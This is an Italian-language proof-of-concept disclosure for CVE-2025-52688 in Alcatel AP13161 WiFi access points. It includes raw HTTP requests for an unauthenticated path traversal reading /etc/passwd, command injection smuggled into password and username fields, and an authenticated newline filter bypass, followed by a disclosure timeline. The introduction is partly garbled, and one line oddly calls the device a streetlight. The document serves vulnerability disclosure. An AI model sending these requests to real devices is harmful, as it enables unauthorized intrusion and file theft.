
Proof-of-concept di exploit per CVE-2025-52688: vulnerabilità di command injection non autenticata e di lettura arbitraria di file nei punti di accesso WiFi aziendali Alcatel AP13161, scoperte durante un hackathon IoT/OT.
Alcatel AP13161 - Punto di accesso WIFI Enterprise
Ci sono 2 vulnerabilità principali affrontate qui:
; per provocare un attacco di command injectionfileName che consente la lettura non autorizzata di file arbitrari sul serverQuesta vulnerabilità è stata scoperta durante la SPIRICYBER-24 IoT/OT Hackathon organizzata da CSA (Cybersecurity Agency of Singapore) e NTU
Il parametro fileName consente a qualsiasi utente non autenticato di visualizzare qualsiasi file sul sistema. Attraversando le directory, siamo in grado di leggere file sensibili sul server
POST /echo.fcgi HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (Linux; U; Android 7.0; en-us; MI 5 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.0.3
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 110
Connection: keep-alive
{
"id":1,
"jsonrpc":"2.0",
"username":"xxx",
"method":"downloader.cert",
"params":{
"fileName":"/../../etc/passwd"
}
}
Il parametro password sull'endpoint /apiaccess è vulnerabile a una vulnerabilità di command injection non autenticata che consente a qualsiasi utente non autenticato di eseguire comandi di sistema
POST /apiaccess HTTP/1.1
Host: XXXX
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
{
"id":1,
"jsonrpc":"2.0",
"method":"system.getPvc",
"params":{
"username": "Administrator",
"password":";echo pwned1234 > /tmp/test.txt"
}
}
Il parametro username sull'endpoint echo.fcgi è vulnerabile a una vulnerabilità di command injection non autenticata che consente a qualsiasi utente non autenticato di eseguire comandi di sistema
POST /echo.fcgi HTTP/1.1
Host:
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: application/json, text/plain, */*
{
"id":1,
"jsonrpc":"2.0",
"username":"Administrator",
"method":"user.logout",
"params":{
"username": ";echo pwned > /tmp/test.txt",
"Sessionid":""
}
}
Il parametro command consente agli utenti autenticati di eseguire funzioni e binari di sistema per testare la funzionalità del lampione. Tuttavia, a causa di un filtraggio dell'input e di una blacklist insufficienti, siamo in grado di bypassare i filtri per eseguire un'esecuzione di codice remoto autenticata che consente a qualsiasi utente connesso di eseguire comandi di sistema
POST /echo.fcgi HTTP/1.1
Host: XXXX
Content-Length: 349
Accept: application/json, text/plain, */*
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
"id":1,
"jsonrpc":"2.0",
"method":"expressmessage.call",
"username":"Administrator",
"session":"XXXXXX",
"topic":"WMA/DC:XXXXXXX",
"params":{
"version":"3.0",
"messageID":1,
"macAddress":"DC:XXXXX",
"option":"update",
"method":"ap_manage.exce_command",
"contents":{
"command":"tech_support_command 9 127.0.0.1\nid"
}
}
}
2024-08-10: Report inviato al team di triage di SpiritCyber IoT Hackathon
2024-08-20: Report accettato dal team di triage
2025-06-25: CSA SingCert assegna CVE-2025-52688
2025-07-14: Divulgazione pubblica
https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-072
https://www.al-enterprise.com/-/media/567414972b57459697030898f92ac043.pdf